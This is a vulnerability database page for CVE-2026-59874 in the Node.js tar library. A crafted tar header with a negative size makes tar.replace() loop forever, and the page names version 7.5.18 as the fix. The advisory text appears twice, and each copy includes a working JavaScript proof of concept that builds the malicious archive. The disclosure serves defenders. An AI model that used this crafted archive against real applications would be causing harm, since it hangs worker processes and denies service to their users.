FlawAtlas
Search the atlas
CVE-2026-59874 High

node-tar: Negative tar entry size causes infinite loop in archive replace

### Summary A checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service. ### Details The public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary. Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation. For a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step. This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception. ### PoC Save as `poc.mjs` in a project with the vulnerable package installed and run: ```bash node poc.mjs ``` ```js import fs from 'node:fs' import os from 'node:os' import path from 'node:path' import { spawnSync } from 'node:child_process' const oct = (b, n, off, len) => b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii') const badHeader = () => { const h = Buffer.alloc(512) h.write('x', 0) oct(h, 0o644, 100, 8) oct(h, 0, 108, 8) oct(h, 0, 116, 8) // base-256 encoded -512 in the size field Buffer.alloc(10, 0xff).copy(h, 124) h[134] = 0xfe h[135] = 0x00 oct(h, 0, 136, 12) h.fill(0x20, 148, 156) h[156] = 0x30 h.write('ustar\0' + '00', 257, 8, 'binary') let sum = 0 for (const c of h) sum += c h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii') return h } const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-')) const file = path.join(dir, 'poc.tar') fs.writeFileSync(file, badHeader()) fs.writeFileSync(path.join(dir, 'add.txt'), 'x') const r = spawnSync( process.execPath, [ '--input-type=module', '-e', ` import * as tar from 'tar' tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt']) console.log('completed') `, ], { timeout: 20_000 } ) console.log(r.error?.code === 'ETIMEDOUT') // Output: true ``` ### Impact An application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

Exploit probability 0.4%
Published July 20, 2026
Required by Not available
Last source change July 21, 2026

02 / AFFECTED SOFTWARE

Affected packages

Unknown Unknown

129 explicit affected versions

npm tar

03 / CONNECTIONS

Connected vulnerabilities

04 / EVIDENCE

Source records

Open Source Vulnerabilities CVE-2026-59874

node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.18, tar.replace accepts a checksum-valid tar header with a negative base-256 encoded entry size, causing the archive scanner to make no progress while repeatedly parsing the same header. This issue is fixed in version 7.5.18.

View original source
Open Source Vulnerabilities GHSA-8x88-c5mf-7j5w

### Summary A checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service. ### Details The public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary. Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation. For a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step. This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception. ### PoC Save as `poc.mjs` in a project with the vulnerable package installed and run: ```bash node poc.mjs ``` ```js import fs from 'node:fs' import os from 'node:os' import path from 'node:path' import { spawnSync } from 'node:child_process' const oct = (b, n, off, len) => b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii') const badHeader = () => { const h = Buffer.alloc(512) h.write('x', 0) oct(h, 0o644, 100, 8) oct(h, 0, 108, 8) oct(h, 0, 116, 8) // base-256 encoded -512 in the size field Buffer.alloc(10, 0xff).copy(h, 124) h[134] = 0xfe h[135] = 0x00 oct(h, 0, 136, 12) h.fill(0x20, 148, 156) h[156] = 0x30 h.write('ustar\0' + '00', 257, 8, 'binary') let sum = 0 for (const c of h) sum += c h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii') return h } const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-')) const file = path.join(dir, 'poc.tar') fs.writeFileSync(file, badHeader()) fs.writeFileSync(path.join(dir, 'add.txt'), 'x') const r = spawnSync( process.execPath, [ '--input-type=module', '-e', ` import * as tar from 'tar' tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt']) console.log('completed') `, ], { timeout: 20_000 } ) console.log(r.error?.code === 'ETIMEDOUT') // Output: true ``` ### Impact An application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

View original source

05 / REFERENCES

Further evidence